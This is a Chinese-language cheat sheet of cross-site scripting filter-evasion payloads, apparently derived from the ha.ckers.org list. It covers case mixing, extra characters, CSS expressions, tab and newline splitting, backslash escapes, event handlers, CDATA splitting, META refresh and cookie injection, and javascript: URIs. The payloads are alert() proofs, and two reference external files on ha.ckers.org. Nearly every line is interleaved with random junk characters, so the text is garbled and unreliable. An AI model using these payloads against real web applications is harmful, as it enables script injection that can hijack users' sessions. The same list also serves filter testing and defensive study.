1. 改变字符大小写
' W* N* H$ \1 _0 o8 _
}& ], i& H- S5 ]9 K 7 m6 L0 i' D# j# b( Y8 F3 m6 B
; W2 W/ ^8 }1 }# A% P& `
<sCript>alert(‘d’)</scRipT>
- N2 T8 Z) p- h; a6 P9 v: _6 d* ~) x5 S. o$ P! Y
2. 利用多加一些其它字符来规避Regular Expression的检查
$ C2 r! B8 S. o0 @& w% a; ^5 D0 o6 x
<<script>alert(‘c’)//<</script>
6 v9 U. v" o) w0 a& R
- [4 z |+ q: }! \( n/ [ <SCRIPT a=">" SRC="t.js"></SCRIPT>
# ?) L: G" e$ Z6 T8 `& N4 j/ o4 V
2 V2 K' O" _1 f# o/ M1 o f <SCRIPT =">" SRC="t.js"></SCRIPT>
1 u& }9 L) F4 `) X; C& o" M+ K& I x- t J% J
<SCRIPT a=">" ” SRC="t.js"></SCRIPT># U3 x( [+ ]) l+ i; v) t
3 C: t8 ?* E, a9 P: ~: [$ @
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>$ ?3 q3 y. C1 g4 ~8 Z) r
5 w4 G6 @0 H6 d/ D& i6 x$ X! C
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
0 j d+ [: ~* o! a! M% w7 t
5 `8 J0 `9 y; J, u. e; g <SCRIPT a=">’>" SRC="t.js"></SCRIPT>2 V3 y+ j j; z, E( n4 ^
# U" R: Y/ E$ ^: Z- L8 ^, D4 m6 k3. 以其它扩展名取代.js
& O, c- @+ _, U% \
' J0 A/ F* K! G7 X# X8 A' ? <script src="bad.jpg"></script>+ g* A1 Q+ s. {. K# ~2 o
5 Z! d. j; D9 H/ |
4. 将Javascript写在CSS档里
6 T Z+ N, x$ e& P' ^; y
- f% U1 R, L5 R9 h4 o <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
* a/ W3 Y9 s2 _" @* b9 \" o& G0 A
' j7 M3 N1 i* v& G+ H q8 n example:! Z- `5 N( z% T2 G# A% U
U; k% x* ^3 C8 D body {
0 J0 I1 K( |: w, I4 M( M
& L Q ~& m& @ background-image: url(‘javascript:alert("XSS");’)
* E2 u# V, Z7 a. V. H: c4 ^- e5 C2 Y( y5 B2 N9 w2 {+ N/ \6 L% r
}- p0 ?" k# v: _9 i; s4 v7 p2 O
/ |4 z; I2 G8 Y5. 在script的tag里加入一些其它字符
# r# \: u: |, {1 p3 |( Z, E3 o. Y0 z' d. @9 p# M2 P$ l
<SCRIPT/SRC="t.js"></SCRIPT>" b; U. w/ ~7 G; D6 x
g5 u7 W/ I! Y; |5 A: ~ <SCRIPT/anyword SRC="t.js"></SCRIPT>
4 Z3 q8 ?$ L' R7 f, J4 W1 x0 ]. p5 |+ t; Y1 `3 o$ C
6. 使用tab或是new line来规避
) E6 } @: t) V% V8 B2 ]7 U& ~9 q+ z+ O4 ~7 m( Z6 L$ j
<img src="jav ascr ipt:alert(‘XSS3′)">
2 k- ~9 I. A% Z' k9 s
! v+ _: M/ F( m <img src="jav ascr ipt:alert(‘XSS3′)">
3 Y8 F) Z6 L) _
) i- _" x. d/ w- a* X% O <IMG SRC="jav ascript:alert(‘XSS’);">3 r: }: Q7 l: |1 ~' R
" ^/ H5 q; `; k
-> tag. X c% @( V8 R
' Z' [* L2 w; \. H: g) u6 @
-> new line1 U1 y' g8 q! [$ z* V7 g2 W1 m
3 d" b- |6 ^9 b1 v) |* b7. 使用"\"来规避8 V8 [1 E- u, z8 E
' a' ? n3 G# K" J <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>4 _" \5 ?# X1 j5 h
A/ N5 C/ u8 `4 y2 B
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>4 c: b. O$ L5 ]( y- z, E I: |; U
6 T4 O5 [$ i' u+ }+ Y% V: w D <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
; C" x( R2 @; c" K
! [7 }1 A; V+ y# c& V* M <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">9 x; n6 q3 K# d# K: a7 j0 z
6 Z* j# z4 U. B. D3 i- a& X <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
# i+ Z m! W3 i6 F$ d7 r0 S. F. m% P& U
8. 使用Hex encode来规避(也可能会把";"拿掉)
; H/ J" c" G" T X' N+ t: o
. W" m% [& c; p8 A' T0 t$ g <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">, Z* x+ m- A" w3 J0 o+ w. t' {
1 a Z8 K. X# p. q 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" w/ I1 k/ T( S4 u4 X* l, G$ f1 p
; l+ v+ P. o" X/ {& ?4 S6 Y
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
4 B8 a$ w) _3 l, J1 J' K0 E7 H+ f) M! b+ T0 p, @4 ~' e
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
( c8 i+ ~" a6 G q: f' z' T8 ?- [9 q/ ]5 k. O+ j' J8 \" y/ p+ E
9. script in HTML tag! [) D( _; ~/ m# u" i7 o1 M' B
k+ B: @% j" B( @/ s4 K
<body onload=」alert(‘onload’)」>' ?9 U' S! y- Y: s; G0 ^
) r5 ~! e Y- W3 @+ f6 A. S* u onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload, o- n \5 E8 k. Q
9 r% r4 p% S' ^! [" s9 O" c10. 在swf里含有xss的code3 [1 O7 j# V( L/ W
4 c& T8 Q1 |4 b& P) {3 o <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> E0 N, k6 C: X8 D: T" s7 O
. G! V- E9 J! u11. 利用CDATA将xss的code拆开,再组合起来。
( j4 _! I) H3 z% T) ^% ?! v% s$ }* }6 Q' b( y
<XML ID=I><X><C>
# _7 P$ h; j3 v8 Q9 K; [
- }) O8 u' [% z( d <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> ~' F# \! u, \) ^
[5 a, }- I7 K3 }. B0 ^ </C></X>
4 g4 a4 ?/ }6 @" y5 c/ x( }( t. h3 h% f0 b; @( N1 F7 F
</xml>$ e' F- U1 ^/ M6 Q
) ^0 f8 g1 U$ S1 Y% a <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>2 v! c2 ?* R. O5 J, e$ P* X, ?: u
y N( w& q( _# T8 n8 e <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>* U* D( H4 K+ i
; [! o7 s6 |/ ?0 m& E1 d& P <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>; I0 i& n8 V) j9 d$ A7 ]5 j
8 l: R5 ]! n5 T) R
12. 利用HTML+TIME。* q5 _8 {: v+ l
+ m/ z5 z" |' S& ? <HTML><BODY>
9 Y# E" G5 W. A/ }+ R/ e- X6 j* T. \
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
" N# X! i# h" p) ?; W
0 F( k5 P! h1 m <?import namespace="t" implementation="#default#time2">- h, X) R6 D' b& D
- v5 c4 ^( Y( d3 Y0 w1 a# p <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
3 t5 w2 U" `# E8 R2 X: _' c4 Z& H3 A( h
</BODY></HTML>
/ B4 X/ \1 e& t$ N+ J+ a7 X& s: W5 i* M4 M2 ~; Z
13. 透过META写入Cookie。1 R( C/ Q7 x+ m) y1 O( `
4 P8 M+ k* F1 k0 U
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">4 V+ P; t7 ]( V- A
3 Q0 Z; H7 D `14. javascript in src , href , url
1 T+ [2 @/ o* r
! {. }( [# [: @& J' Z9 u <IFRAME SRC=javascript:alert(’13′)></IFRAME>
? Q [0 e) s( s8 ? E
1 w# H4 n; y% y1 S+ C$ u <img src="javascript:alert(‘XSS3′)">
6 u' e/ d9 c' q- M
/ {" a/ ~* z4 z" }1 i1 G: f<IMG DYNSRC="javascript:alert(‘XSS20′)">
3 J# W1 W$ S2 `3 ~
7 f4 C9 I5 o, G! X$ U8 U <IMG LOWSRC="javascript:alert(‘XSS21′)">
( C/ H- m) |% f s: C+ u% O$ C# ~! W; W) H$ N
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
- a& l& G9 n, @ i
( C( @% ~5 a: z8 t; _- K <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>; h. L) L* ~7 w
4 g* M! q) ~; b; o+ t' Z5 i. w <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
' m8 b- W" t/ `- G, {5 N% t
Q- C+ I" _, |' h% x. a$ e- \ <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">7 a9 w4 Y2 k- s m5 ]
' B3 E$ s+ |0 V9 n( z6 l! u <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}% G3 @8 X6 r1 r9 X4 C& r. q2 n- C5 U
+ D9 M& u' S M4 G </STYLE><A CLASS=XSS></A>
% [7 Q* t; u G) g8 w9 O
* i4 v, R, V4 G <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
. U6 j; B: L* {) T
& ]5 o- |) W; a$ ~ |